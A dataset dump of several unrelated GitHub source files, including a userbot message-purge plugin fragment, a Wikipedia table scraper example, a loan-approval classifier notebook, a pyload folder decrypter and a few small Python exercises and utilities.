f\"\\n\\n**خطأ:**{error}\"\n if result == \"\":\n result += \"- لا توجد رسائل لتنظيفها \"\n hi = await event.client.send_message(event.chat_id, result)\n if BOTLOG:\n await event.client.send_message(\n BOTLOG_CHATID,\n f\"#PURGE \\n{result}\",\n )\n await sleep(5)\n await hi.delete()\n","repo_name":"qahmq/userbot","sub_path":"userbot/plugins/التنظيف.py","file_name":"التنظيف.py","file_ext":"py","file_size_in_byte":17355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71682941800","text":"# File: table_animals.py\n# Description: An example script that extracts an HTML table about animal conservation\n# Author: Dawid Minorczyk\n# Date: September 5 2017\n\n# Data manipulation import\nimport numpy as np\nimport pandas as pd\nimport csv\n\n# Custom table parsing import\nfrom wikitable import WikiTable\n\nURL = 'https://github.com/theMimsy/WikiTable'\n\n# Recursive lookup\nconservation_table = WikiTable(\n tab_fil = {'class' : 'infobox'}, # When following links, look for at the WikiPedia infoboxes\n tab_num = 0, # Always look at the first infobox (should only be one)\n regex_ex = ['Conservation status'], # Look for cells in infobox that match this regex\n regex_max = 1, # If there is more than one match, only take the first\n regex_pos = [(1, 0)] # If a regex match is found, extract the cell to the below\n # extract_row = match_row + 1, extract_col = match_col + 0\n)\n\n# Root lookup\nanimal_table = WikiTable(\n url = URL, # Path to the main HTML table\n tab_num = 1, # We want the second table on the page (`index = 1`)\n col_ref = [1], # The second column (`col = 1`) has links for recursion\n col_th = True, # The first row of the table is a header\n on_link = conservation_table # What to extract when we come across a link\n)\n\n# Gather data\ntable_df = animal_table.pandas_from_url()\n\n# Fix up column names\ntable_df.columns = ['Animal Habitat', 'Animal Name', 'Conservation Status']\n\n# Save the data into a csv file\ntable_df.to_csv('animal_conservation.csv', index = False, quoting = csv.QUOTE_ALL)","repo_name":"theMimsy/WikiTable","sub_path":"examples/table_animals.py","file_name":"table_animals.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38888450721","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[906]:\n\n\nimport pandas as pd\nimport numpy as np\n\n# Load the dataset\nurl = 'https://raw.githubusercontent.com/JieyuJieyu/LoanApprovalPrediction/main/Loan_Train.csv'\ndataset = pd.read_csv(url)\ndataset.info()\n\n\n# In[907]:\n\n\nprint(dataset.describe())\n\n\n# In[908]:\n\n\n#Identify the unique values & counts for each categorical column\ncategorical_columns = dataset.select_dtypes(include=['object']) \nfor column in categorical_columns:\n print(\"Column:\", column)\n print(dataset[column].value_counts())\n print()\n\n\n# In[909]:\n\n\ndataset = dataset.drop(columns=['Loan_ID'])\ncategorical_columns = ['Gender', \n 'Married', \n 'Dependents',\n 'Education',\n 'Self_Employed',\n 'Property_Area', \n 'Credit_History',\n 'Loan_Amount_Term']\nnumerical_columns = ['ApplicantIncome',\n 'CoapplicantIncome',\n 'LoanAmount']\n\n\n# In[910]:\n\n\n# Data Visualization\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\nfig,axes = plt.subplots(4,2,figsize=(12,15))\nfor idx,cat_col in enumerate(categorical_columns):\n row,col = idx//2,idx%2\n sns.countplot(x=cat_col,data=dataset, \n hue='Loan_Status',ax=axes[row,col])\n\nplt.subplots_adjust(hspace=1)\n\n\n# In[911]:\n\n\nfig,axes = plt.subplots(1,3,figsize=(17,5))\nfor idx,cat_col in enumerate(numerical_columns):\n sns.boxplot(y=cat_col,data=dataset,\n x='Loan_Status',ax=axes[idx])\n\nprint(dataset[numerical_columns].describe())\nplt.subplots_adjust(hspace=1)\n\n\n# In[912]:\n\n\n# Identify missing values\n\nmissing_values = dataset.isnull().sum()\nprint(missing_values)\n\n\n# In[913]:\n\n\n# This will remove all rows with missing values.\ndataset = dataset.dropna()\ndataset\n\n\n# In[914]:\n\n\n# Identify data types\ndata_types = dataset.dtypes\nprint(data_types)\n\n\n# In[915]:\n\n\n# Model 1: Decision Tree Classification\n\n\n# In[916]:\n\n\n# Define X, Y\nx=dataset.iloc[:,:-1].values\ny=dataset.iloc[:,11].values\n\n\n# In[917]:\n\n\n# Handling or Encode categorical variables \nfrom sklearn.preprocessing import LabelEncoder\nlabelencoder_X = LabelEncoder()\nx[:,0] = labelencoder_X.fit_transform(x[:,0])\nx[:,1] = labelencoder_X.fit_transform(x[:,1])\nx[:,2] = labelencoder_X.fit_transform(x[:,2])\nx[:,3] = labelencoder_X.fit_transform(x[:,3])\nx[:,4] = labelencoder_X.fit_transform(x[:,4])\nx[:,10] = labelencoder_X.fit_transform(x[:,10])\n\n\n# In[918]:\n\n\n# Step 2 - Decision Tree classification\n\n#splitting the dataset into training and test sets\nfrom sklearn.model_selection import train_test_split\nx_train, x_test, y_train, y_test = train_test_split(x,y,test_size=0.59,random_state = 0)\n\n\n# In[919]:\n\n\n# Step 3 - Decision Tree Classification\n\n# Feature Scaling\nfrom sklearn.preprocessing import StandardScaler\nsc_x=StandardScaler()\nx_train = sc_x.fit_transform(x_train)\nx_test = sc_x.fit_transform(x_test)\n\n\n# In[920]:\n\n\n# Step 4 - Decision Tree Classification\n\n# Fitting Decision Tree Classification classifer to the training set\nfrom sklearn.tree import DecisionTreeClassifier\nclassifier=DecisionTreeClassifier(criterion='entropy',random_state=0)\nclassifier.fit(x_train,y_train)\n\n\n# In[921]:\n\n\n# Step 5 - Decision Tree Classification\n\n# Predict the test set results\ny_pred = classifier.predict(x_test)\ny_test, y_pred\n\n\n# In[922]:\n\n\n# Step 6 - Decision Tree Classification Performance Evaluation \n\n# Import necessary libraries\nfrom sklearn.metrics import confusion_matrix, precision_score, recall_score, f1_score, accuracy_score\n\n# Calculate confusion matrix\ncm = confusion_matrix(y_test, y_pred)\nprint(\"Confusion Matrix:\")\nprint(cm)\n\n# Calculate precision\nprecision = precision_score(y_test, y_pred, pos_label='Y')\nprint(\"Precision:\", precision)\n\n# Calculate recall\nrecall = recall_score(y_test, y_pred, pos_label='Y')\nprint(\"Recall:\", recall)\n\n# Calculate F-score\nf_score = f1_score(y_test, y_pred, pos_label='Y')\nprint(\"F-Score:\", f_score)\n\n# Calculate accuracy\naccuracy = accuracy_score(y_test, y_pred)\nprint(\"Accuracy:\", accuracy)\n\n\n# In[923]:\n\n\ny_train_pred = classifier.predict(x_train)\ntraining_accuracy = accuracy_score(y_train, y_train_pred)\n\ntest_accuracy = accuracy_score(y_test, y_pred)\n\nprint(\"Training Accuracy:\", training_accuracy)\nprint(\"Test Accuracy:\", test_accuracy)\n\n\n# In[924]:\n\n\n# Get feature importances\nfeature_importances = classifier.feature_importances_\n\n# Create a DataFrame to store feature importances\nimportance_df = pd.DataFrame({'Feature': dataset.columns[:-1], 'Importance': feature_importances})\n\n# Sort the features by importance in descending order\nimportance_df = importance_df.sort_values(by='Importance', ascending=False)\n\n# Select the top k features (e.g., top 8 features)\nk = 8\nselected_features = importance_df['Feature'].head(k).tolist()\n\n# Print the selected features\nprint(\"Selected Features:\")\nprint(selected_features)\n\n\n# In[925]:\n\n\n# Decision Tree Classification - Prediction\n\n# Gender=male, Married=yes, Dependents=2, \n# Education=graduate, Self_Employed=no, \n# ApplicantIncome=3200, CoapplicantIncome=700, \n# LoanAmount=70, Loan Amount Term=360, \n# Credit_History=1,Property_Area=Urban\n# Loan_Status=? \ny_pred_new = classifier.predict(sc_x.transform(np.array([[0, 1, 2, 0, 0, 3200, 700, 70, 360, 1, 2]])))\nprint(y_pred_new)\n\n\n# In[926]:\n\n\n# Model 2: Naive Bayes \n\n\n# In[927]:\n\n\n# Define X, Y\nx=dataset.iloc[:,:-1].values\ny=dataset.iloc[:,11].values\n\n\n# In[928]:\n\n\n# Handling or Encode categorical variables \nfrom sklearn.preprocessing import LabelEncoder\nlabelencoder_X = LabelEncoder()\nx[:,0] = labelencoder_X.fit_transform(x[:,0])\nx[:,1] = labelencoder_X.fit_transform(x[:,1])\nx[:,2] = labelencoder_X.fit_transform(x[:,2])\nx[:,3] = labelencoder_X.fit_transform(x[:,3])\nx[:,4] = labelencoder_X.fit_transform(x[:,4])\nx[:,10] = labelencoder_X.fit_transform(x[:,10])\n\n\n# In[929]:\n\n\n# Fitting Naive Bayes Classifier to the dataset\n\nfrom sklearn.naive_bayes import GaussianNB\nclassifier = GaussianNB()\nclassifier = classifier.fit(x,y)\n\n\n# In[930]:\n\n\n# Predict using classifier\n\n# Gender=male, Married=yes, Dependents=2, \n# Education=graduate, Self_Employed=no, \n# ApplicantIncome=3200, CoapplicantIncome=700, \n# LoanAmount=70, Loan Amount Term=360, \n# Credit_History=1,Property_Area=Urban\n# Loan_Status=? \nprediction = classifier.predict([[0, 1, 2, 0, 0, 3200, 700, 70, 360, 1, 2]])\nprint(prediction)\n\n\n# In[933]:\n\n\nfrom sklearn.metrics import confusion_matrix, precision_score, recall_score, f1_score, accuracy_score\n\n# Predict using the classifier\ny_pred = classifier.predict(x)\n\n# Calculate confusion matrix\ncm = confusion_matrix(y, y_pred)\nprint(\"Confusion Matrix:\")\nprint(cm)\n\n# Calculate precision\nprecision = precision_score(y, y_pred, pos_label='Y')\nprint(\"Precision:\", precision)\n\n# Calculate recall\nrecall = recall_score(y, y_pred, pos_label='Y')\nprint(\"Recall:\", recall)\n\n# Calculate F-score\nf_score = f1_score(y, y_pred, pos_label='Y')\nprint(\"F-Score:\", f_score)\n\n# Calculate accuracy\naccuracy = accuracy_score(y, y_pred)\nprint(\"Accuracy:\", accuracy)\n\n\n# In[934]:\n\n\nfrom sklearn.feature_selection import SelectKBest, chi2\n\n# Perform feature selection using chi-square test\nselector = SelectKBest(score_func=chi2, k=8) # Select top 8 features\nx_selected = selector.fit_transform(x, y)\n\n# Get the indices of the selected features\nselected_feature_indices = selector.get_support(indices=True)\n\n# Get the names of the selected features\nselected_features = dataset.columns[selected_feature_indices]\n\n# Print the selected feature names\nprint(\"Selected Features:\")\nprint(selected_features)\n\n\n# In[935]:\n\n\nfrom sklearn.model_selection import train_test_split\n\n# Split the dataset into training and testing sets\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=42)\n\n# Fitting Naive Bayes Classifier to the training set\nclassifier = GaussianNB()\nclassifier = classifier.fit(x_train, y_train)\n\n# Predict on the training set\ny_train_pred = classifier.predict(x_train)\ntraining_accuracy = accuracy_score(y_train, y_train_pred)\n\n# Predict on the test set\ny_test_pred = classifier.predict(x_test)\ntest_accuracy = accuracy_score(y_test, y_test_pred)\n\nprint(\"Training Accuracy:\", training_accuracy)\nprint(\"Test Accuracy:\", test_accuracy)\n\n\n# In[936]:\n\n\n# Define custom mappings for categorical variables\ngender_mapping = {0: 'Male', 1: 'Female'}\nmarried_mapping = {0: 'No', 1: 'Yes'}\ndependents_mapping = {0: '0', 1: '1', 2: '2', 3: '3'}\neducation_mapping = {0: 'Graduate', 1: 'Not Graduate'}\nself_employed_mapping = {0: 'No', 1: 'Yes'}\nproperty_area_mapping = {0: 'Rural', 1: 'Semiurban', 2: 'Urban'}\n\n# Create a dictionary to store the mappings\nmappings = {\n 'Gender': gender_mapping,\n 'Married': married_mapping,\n 'Dependents': dependents_mapping,\n 'Education': education_mapping,\n 'Self_Employed': self_employed_mapping,\n 'Property_Area': property_area_mapping\n}\n\n# Print the mappings\nfor feature, mapping in mappings.items():\n print(f\"Mapping for {feature}:\")\n for encoded_value, original_value in mapping.items():\n print(f\"{original_value} -> {encoded_value}\")\n print()\n\n","repo_name":"JieyuJieyu/LoanApprovalPrediction","sub_path":"Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":9149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7122022831","text":"import re\r\nn = int(input())\r\nfor i in range(n):\r\n s = input()\r\n tnew = ''\r\n for e in s:\r\n if re.match(\"[a-zA-Z]\", e):\r\n tnew = tnew + chr(ord(e)+3)\r\n else:\r\n tnew += e\r\n\r\n tnew = tnew[::-1]\r\n meio = int((len(tnew) / 2))\r\n metade1 = tnew[0:meio]\r\n metade2 = tnew[meio:]\r\n metade_new = ''\r\n\r\n for l in metade2:\r\n metade_new += chr(ord(l) - 1)\r\n\r\n tfinal = metade1 + metade_new\r\n\r\n print(tfinal)","repo_name":"cesarfois/URI_JUDGE","sub_path":"1024 - Criptografia.py","file_name":"1024 - Criptografia.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"28959200821","text":"# -*- coding: utf-8 -*-\n\nimport json\nimport re\n\nimport pycurl\n\nfrom ..base.decrypter import BaseDecrypter\nfrom ..helpers import replace_patterns\n\n\nclass FshareVnFolder(BaseDecrypter):\n __name__ = \"FshareVnFolder\"\n __type__ = \"decrypter\"\n __version__ = \"0.11\"\n __status__ = \"testing\"\n\n __pattern__ = r\"https?://(?:www\\.)?fshare\\.vn/folder/(?P\\w+)\"\n __config__ = [\n (\"enabled\", \"bool\", \"Activated\", True),\n (\"use_premium\", \"bool\", \"Use premium account if available\", True),\n (\n \"folder_per_package\",\n \"Default;Yes;No\",\n \"Create folder for each package\",\n \"Default\",\n ),\n (\"max_wait\", \"int\", \"Reconnect if waiting time is greater than minutes\", 10),\n (\"dl_subfolders\", \"bool\", \"Download subfolders\", False),\n (\"package_subfolder\", \"bool\", \"Subfolder as a separate package\", False),\n ]\n\n __description__ = \"\"\"Fshare.vn folder decrypter plugin\"\"\"\n __license__ = \"GPLv3\"\n __authors__ = [\n (\"zoidberg\", \"zoidberg@mujmail.cz\"),\n (\"GammaC0de\", \"nitzo2001[AT]yahoo[DOT]com\"),\n ]\n\n OFFLINE_PATTERN = r\"Thư mục của bạn yêu cầu không tồn tại\"\n NAME_PATTERN = r\"Fshare - (.+?)(?: - Fshare)?\"\n\n URL_REPLACEMENTS = [(\"http://\", \"https://\")]\n\n def enum_folder(self, folder_id):\n links = []\n\n self.req.http.c.setopt(\n pycurl.HTTPHEADER, [\"Accept: application/json, text/plain, */*\"]\n )\n self.data = self.load(\n \"https://www.fshare.vn/api/v3/files/folder\", get={\"linkcode\": folder_id}\n )\n json_data = json.loads(self.data)\n\n current_page = 1\n last_page = int(\n re.search(r\"&page=(\\d+)\", json_data[\"_links\"].get(\"last\", \"&page=1\")).group(\n 1\n )\n )\n\n while True:\n folder_items = json_data[\"items\"]\n for item in folder_items:\n if item[\"type\"] == 1:\n links.append(\"https://www.fshare.vn/file/\" + item[\"linkcode\"])\n\n else:\n if self.config.get(\"dl_subfolders\"):\n if self.config.get(\"package_subfolder\"):\n links.append(\n \"https://www.fshare.vn/folder/\" + item[\"linkcode\"]\n )\n\n else:\n links.extend(self.enum_folder(item[\"linkcode\"]))\n\n current_page += 1\n if current_page > last_page:\n break\n\n self.req.http.c.setopt(\n pycurl.HTTPHEADER, [\"Accept: application/json, text/plain, */*\"]\n )\n self.data = self.load(\n \"https://www.fshare.vn/api/v3/files/folder\",\n get={\"linkcode\": folder_id, \"page\": current_page},\n )\n json_data = json.loads(self.data)\n\n return links\n\n def decrypt(self, pyfile):\n pyfile.url = replace_patterns(pyfile.url, self.URL_REPLACEMENTS)\n\n self.data = self.load(pyfile.url)\n if re.search(self.OFFLINE_PATTERN, self.data):\n self.offline()\n\n m = re.search(self.NAME_PATTERN, self.data)\n pack_name = m.group(1) if m is not None else pyfile.package().name\n\n links = self.enum_folder(self.info[\"pattern\"][\"ID\"])\n\n if links:\n self.packages = [(pack_name, links, pack_name)]\n","repo_name":"pyload/pyload","sub_path":"src/pyload/plugins/decrypters/FshareVnFolder.py","file_name":"FshareVnFolder.py","file_ext":"py","file_size_in_byte":3440,"program_lang":"python","lang":"en","doc_type":"code","stars":3038,"dataset":"github-code","pt":"18"} +{"seq_id":"39556019947","text":"fl = input(\"Enter an ASCII file: \")\r\nf1 = open(fl, \"r\", encoding=\"utf-8\")\r\nlist = []\r\nchars = []\r\nfor line in f1:\r\n list.extend(line.split()) #ftiaxnw mia lista pou periexei to keimeno\r\n\r\nreversed_list = []\r\nfor i in list:\r\n reversed_list.append(i[::-1]) #antistrefw to keimeno\r\n\r\nreversed_chars = []\r\nfor i in reversed_list:\r\n for c in i:\r\n reversed_chars.append(c) #antistrefw ta grammata tis kathe lekshs tou keimenou\r\n\r\nkatoptriko = []\r\nfor i in range(len(reversed_chars)):\r\n katoptriko.append(chr(128 - ord(reversed_chars[i])))\r\n\r\nprint(katoptriko)","repo_name":"EleniTsiotaki/Ergasia_Python","sub_path":"12.py","file_name":"12.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12982236172","text":"from helpers.tweak import Section, LazyList\n\nMain = Section({\n \"REGISTERED_MODULES\":\n LazyList([\"lazy://vitamin.modules.url::RequestManager\"]),\n \n \"REGISTERED_INTERFACES\":\n LazyList([\"lazy://vitamin.interfaces::IModuleURL\"]),\n \n \"PRODUCTION_CHAIN\":\n [\"IModuleURL\"]\n})\n\nLoader = Section({\n \"NEXT_NODE\":\"lazy://vitamin.core::VtCore\"\n})\n\nURL = Section({\n \"ROUTES\":\n {\"/\" : \"index\",\n \"/user_{name}/{action[show|hide]}\" : \"user\"}\n})\n\nDatabase = Section({\n \"PROVIDER\" : \"lazy://sqlite3\",\n \"LOCATION\" : \":memory:\",\n \"USER\" : \"root\",\n \"PASSWD\" : \"\",\n \"CONNECT_WITH\" : (\"LOCATION\",),\n \"DEFINITIONS\" : \"lazy://vitamin.modules.database.sqlbuilder.definitions::Definitions\"\n})\n\nTemplates = Section({\n \"LOADER\" : \"lazy://vitamin.modules.tpl.loaders.file::FileLoader\",\n \"TEMPLATE_FOLDER\" : \".\",\n \"TEMPLATE_EXTENSION\" : \".html\",\n \"TEMPLATE_TESTS_PACKAGE\" : \"lazy://vitamin.modules.tpl.tests.templates\"\n})\n\n","repo_name":"dmifurman/Vitamin","sub_path":"vitamin/config/default.py","file_name":"default.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"35129103184","text":"##\n# Oefening 15\n# Bij het schrijven van een functie is een goede manier van werken om een \n# docstring te voorzien die de werking van de functie beschrijft. Soms vergeet de \n# ontwikkelaar evenwel om de docstring toe te voegen. Maak een programma dat één \n# of meerdere .py bestanden inleest en functies detecteert die niet voorzien zijn \n# van een docstring. Je programma toont alle functies, vergezeld van de \n# bestandsnaam waar de functie zich bevindt. De gebruiker zal de naam of namen van \n# één of meerdere bestanden die moeten nagekeken worden meegeven als command-line \n# argument(en). Je voorziet een gepaste foutmelding wanneer bestanden niet bestaan \n# of kunnen worden geopend. Je programma loopt wel verder en analyseert de \n# bestanden die wel bestaan.\n\nimport sys\n\nif len(sys.argv) == 1:\n print(\"Je moet minstens één na te kijken bestand meegeven als command-line argument\")\n quit()\n\nfor bestands_naam in sys.argv[1 : len(sys.argv)]: \n # [1 : len(sys.argv)] om sys.argv[0] niet mee te nemen\n try:\n with open(bestands_naam, \"r\") as bestand:\n vorige_regel = \" \"\n regel_nummer = 0\n for regel in bestand: \n if vorige_regel.startswith(\"def\") and regel.lstrip()[0:3] != \"'''\":\n pos_haakje = vorige_regel.index(\"(\")\n naam = vorige_regel[4 : pos_haakje]\n print(f\"Bestand {bestands_naam} op regel {regel_nummer}: {naam} heeft geen docstring.\")\n vorige_regel = regel\n regel_nummer = regel_nummer + 1\n except:\n print(f\"Er was een probleem met bestand {bestands_naam}. Ik probeer het volgende bestand...\")","repo_name":"Darijoo/Python","sub_path":"Oplossingen/oplossingen_labo5/oef15.py","file_name":"oef15.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"43864595638","text":"from enum import Enum\nfrom typing import NamedTuple, Iterable, List, Dict, Union\nimport re\n\n\nCOMMENT_REGEX = re.compile(r'--.*$')\nLABEL_REGEX = re.compile(r'^\\s*([a-z]+[a-zA-Z\\d]*):\\s*$')\nPOINTER_REGEX = re.compile(r'^\\[(\\d+)\\]$')\n\n\nclass Operation(Enum):\n INBOX = 'INBOX'\n OUTBOX = 'OUTBOX'\n COPYFROM = 'COPYFROM'\n COPYTO = 'COPYTO'\n ADD = 'ADD'\n SUB = 'SUB'\n BUMPUP = 'BUMPUP'\n BUMPDN = 'BUMPDN'\n JUMP = 'JUMP'\n JUMPZ = 'JUMPZ'\n JUMPN = 'JUMPN'\n\n def __str__(self) -> str:\n return self.name\n\n\nclass Instruction(NamedTuple):\n op: Operation\n arg: str\n line: int\n\n def __repr__(self) -> str:\n return f'{self.line}: {self.op} {self.arg}'\n\n\nclass Letter(Enum):\n (A, B, C, D, E, F, G, H, I, J, K, L, M, N, O,\n P, Q, R, S, T, U, V, W, X, Y, Z) = range(26)\n\n def __sub__(self, other: 'Letter') -> int:\n return self.value - other.value\n\n def __repr__(self) -> str:\n return self.name\n\n def from_string(char: str):\n value = ord(char.upper())\n return Letter(value - ord('A'))\n\n\nValue = Union[int, Letter]\n\n\nclass Machine:\n head: Value\n registers: List[Value]\n inbox: List[Value]\n output: List[Value]\n\n def __init__(self, registers: Iterable[Value]) -> None:\n self.head = None\n self.registers = list(registers)\n\n def run(self, code: str, inbox: Iterable[Value],\n registers: Iterable[Value] = None) -> List[Value]:\n self.inbox = list(inbox)\n self.output = []\n\n if registers:\n self.registers = list(registers)\n\n instructions, labels = self._parse(code)\n return self._eval(instructions, labels)\n\n def run_file(self, file: str, inbox: Iterable[Value],\n registers: Iterable[Value] = None) -> List[Value]:\n with open(file) as f:\n code = f.read()\n return self.run(code, inbox, registers)\n\n def _parse(self, code: str) -> List[Instruction]:\n instructions: List[Instruction] = []\n labels: Dict[str, int] = {}\n\n for i, line in enumerate(code.splitlines()):\n line = COMMENT_REGEX.sub('', line)\n if line.isspace() or not line:\n continue\n\n label_match = LABEL_REGEX.match(line)\n if label_match:\n label = label_match.group(1)\n labels[label] = len(instructions) - 1\n continue\n\n opname, *args = line.split()\n op = Operation(opname)\n arg = None if not args else args[0]\n instructions.append(Instruction(op, arg, i))\n\n return instructions, labels\n\n def _parse_pointer(self, arg: str) -> Value:\n pointer_match = POINTER_REGEX.match(arg)\n if pointer_match:\n index = pointer_match.group(1)\n return self.registers[int(index)]\n return arg\n\n def _eval(self, instructions: List[Instruction],\n labels: Dict[str, int]) -> List[Value]:\n current_line = 0\n while current_line < len(instructions):\n instruction = instructions[current_line]\n # print(instruction)\n op, arg, line = instruction\n\n if op == Operation.INBOX:\n if not self.inbox:\n current_line = len(instructions)\n break\n self.head = self.inbox.pop(0)\n\n elif op == Operation.OUTBOX:\n self.output.append(self.head)\n\n elif op == Operation.COPYFROM:\n arg = self._parse_pointer(arg)\n self.head = self.registers[int(arg)]\n\n elif op == Operation.COPYTO:\n arg = self._parse_pointer(arg)\n self.registers[int(arg)] = self.head\n\n elif op == Operation.ADD:\n arg = self._parse_pointer(arg)\n self.head += self.registers[int(arg)]\n\n elif op == Operation.SUB:\n arg = self._parse_pointer(arg)\n self.head -= self.registers[int(arg)]\n\n elif op == Operation.BUMPUP:\n arg = self._parse_pointer(arg)\n self.registers[int(arg)] += 1\n self.head = self.registers[int(arg)]\n\n elif op == Operation.BUMPDN:\n arg = self._parse_pointer(arg)\n self.registers[int(arg)] -= 1\n self.head = self.registers[int(arg)]\n\n elif op == Operation.JUMP:\n current_line = labels[arg]\n\n elif op == Operation.JUMPZ:\n if self.head == 0:\n current_line = labels[arg]\n\n elif op == Operation.JUMPN:\n if self.head < 0:\n current_line = labels[arg]\n\n else:\n raise SyntaxError(f'Invalid operation {repr(op)}')\n\n current_line += 1\n\n return self.output\n","repo_name":"cauebs/hr-machine","sub_path":"hrmachine/machine.py","file_name":"machine.py","file_ext":"py","file_size_in_byte":4878,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"18"} +{"seq_id":"16623810391","text":"# coding: utf-8\n# Standard libraries\nimport io\nimport uuid\nimport datetime\nfrom typing import Optional, Tuple, Union\n\n# https://github.com/usnistgov/DataModelDict\nfrom DataModelDict import DataModelDict as DM\n\n# https://github.com/usnistgov/yabadaba\nfrom yabadaba.record import Record\n\n# Local imports\nfrom ..tools import aslist\nfrom .Artifact import Artifact\nfrom .Parameter import Parameter\nfrom .Link import Link\nclass Implementation(Record):\n \"\"\"\n Class for representing Implementation metadata records. . Note that this is\n meant as a component class for other record objects.\n \"\"\"\n def __init__(self,\n model: Union[str, io.IOBase, DM, None] = None,\n name: Optional[str] = None,\n database = None,\n **kwargs):\n \"\"\"\n Parameters\n ----------\n model : str, file-like object or DataModelDict, optional\n A JSON/XML data model for the content.\n name : str, optional\n The name to assign to the record. Not used by this class.\n database : yabadaba.Database, optional\n Allows for a default database to be associated with the record.\n type : str, optional\n Describes the format for the implementation.\n key : str, optional\n The UUID4 key to assign to the implementation.\n id : str, optional\n The unique id to assign to the implementation.\n status : str, optional\n Specifies the current status of the implementation.\n date : datetime.date, optional\n A date associated with the implementation listing.\n notes : str, optional\n Any notes associated with the implementation.\n artifacts : list, optional\n Any Artifact objects or data to associate with the implementation.\n parameters : list, optional\n Any Parameter objects or data to associate with the implementation.\n links : list, optional\n Any Link objects or data to associate with the implementation.\n \"\"\"\n assert name is None, 'name is not used by this class'\n assert database is None, 'database is not used by this class'\n super().__init__(model=model, name=name, database=database, **kwargs)\n\n @property\n def modelroot(self) -> str:\n \"\"\"str: The root element of the content\"\"\"\n return 'implementation'\n\n @property\n def xsl_filename(self) -> Tuple[str, str]:\n \"\"\"tuple: The module path and file name of the record's xsl html transformer\"\"\"\n return ('potentials.xsl', 'implementation.xsl')\n\n @property\n def xsd_filename(self) -> Tuple[str, str]:\n \"\"\"tuple: The module path and file name of the record's xsd schema\"\"\"\n return ('potentials.xsd', 'implementation.xsd')\n\n def set_values(self,\n name: Optional[str] = None,\n **kwargs):\n \"\"\"\n Sets an Implementation object's attributes\n\n Parameters\n ----------\n name : str, optional\n The name to assign to the record. Not used by this class.\n type : str, optional\n Describes the format for the implementation.\n key : str, optional\n The UUID4 key to assign to the implementation.\n id : str, optional\n The unique id to assign to the implementation.\n status : str, optional\n Specifies the current status of the implementation.\n date : datetime.date, optional\n A date associated with the implementation listing.\n notes : str, optional\n Any notes associated with the implementation.\n artifacts : list, optional\n Any Artifact objects or data to associate with the implementation.\n parameters : list, optional\n Any Parameter objects or data to associate with the implementation.\n links : list, optional\n Any Link objects or data to associate with the implementation.\n \"\"\" \n assert name is None, 'name is not used by this class'\n \n # Build new record\n self.type = kwargs.get('type', None)\n self.key = kwargs.get('key', None)\n self.id = kwargs.get('id', None)\n self.status = kwargs.get('status', None)\n self.date = kwargs.get('date', None)\n self.notes = kwargs.get('notes', None)\n \n self.artifacts = []\n if 'artifacts' in kwargs:\n for artifact in aslist(kwargs['artifacts']):\n if isinstance(artifact, Artifact):\n self.artifacts.append(artifact)\n else:\n self.add_artifact(**artifact)\n \n self.parameters = []\n if 'parameters' in kwargs:\n for parameter in aslist(kwargs['parameters']):\n if isinstance(parameter, Parameter):\n self.parameters.append(parameter)\n else:\n self.add_parameter(**parameter)\n \n self.links = []\n if 'links' in kwargs:\n for link in aslist(kwargs['links']):\n if isinstance(link, Link):\n self.links.append(link)\n else:\n self.add_link(**link)\n\n @property\n def type(self) -> Optional[str]:\n \"\"\"str : The format of the implementation.\"\"\"\n return self.__type\n \n @type.setter\n def type(self, v: Optional[str]):\n if v is None:\n self.__type = None\n else:\n self.__type = str(v)\n\n @property\n def key(self) -> Optional[str]:\n \"\"\"str : The UUID4 key assigned to the implementation.\"\"\"\n return self.__key\n \n @key.setter\n def key(self, v: Optional[str]):\n if v is None:\n self.__key = str(uuid.uuid4())\n else:\n self.__key = str(v)\n \n @property\n def id(self) -> Optional[str]:\n \"\"\"str : The unique id assigned to the implementation.\"\"\"\n return self.__id\n \n @id.setter\n def id(self, v: Optional[str]):\n if v is None:\n self.__id = None\n else:\n self.__id = str(v)\n\n @property\n def status(self) -> str:\n \"\"\"str : The current status of the implementation.\"\"\"\n return self.__status\n \n @status.setter\n def status(self, v: Optional[str]):\n if v is None:\n self.__status = 'active'\n else:\n self.__status = str(v)\n\n @property\n def date(self) -> datetime.date:\n \"\"\"datetime.date : The date associated with the implementation listing\"\"\"\n return self.__date\n \n @date.setter\n def date(self, v: Union[datetime.date, str, None]):\n if v is None:\n self.__date = datetime.date.today()\n elif isinstance(v, datetime.date):\n self.__date = v\n elif isinstance(v, str):\n self.__date = datetime.datetime.strptime(v, '%Y-%m-%d').date()\n else:\n raise TypeError('Invalid date type')\n \n @property\n def notes(self) -> Optional[str]:\n \"\"\"str : Any additional notes that describe details about the implementation.\"\"\"\n return self.__notes\n\n @notes.setter\n def notes(self, v: Optional[str]):\n if v is None:\n self.__notes = None\n else:\n self.__notes = str(v)\n\n def load_model(self,\n model: Union[str, io.IOBase, DM],\n name: Optional[str] = None):\n \"\"\"\n Loads the object info from data model content\n \n Parameters\n ----------\n model : str, file-like object or DataModelDict\n A JSON/XML data model for the content.\n name : str, optional\n The name to assign to the record. Not used by this class.\n \"\"\"\n assert name is None, 'name is not used by this class'\n model = DM(model)\n imp = model.find('implementation')\n self.key = imp['key']\n self.id = imp.get('id', None)\n self.status = imp.get('status', None)\n self.date = imp.get('date', None)\n self.type = imp.get('type', None)\n if 'notes' in imp:\n self.notes = imp['notes']['text']\n else:\n self.notes = None\n\n self.artifacts = []\n for artifact in imp.iteraslist('artifact'):\n self.add_artifact(model=DM([('artifact', artifact)]))\n\n self.parameters = []\n for parameter in imp.iteraslist('parameter'):\n 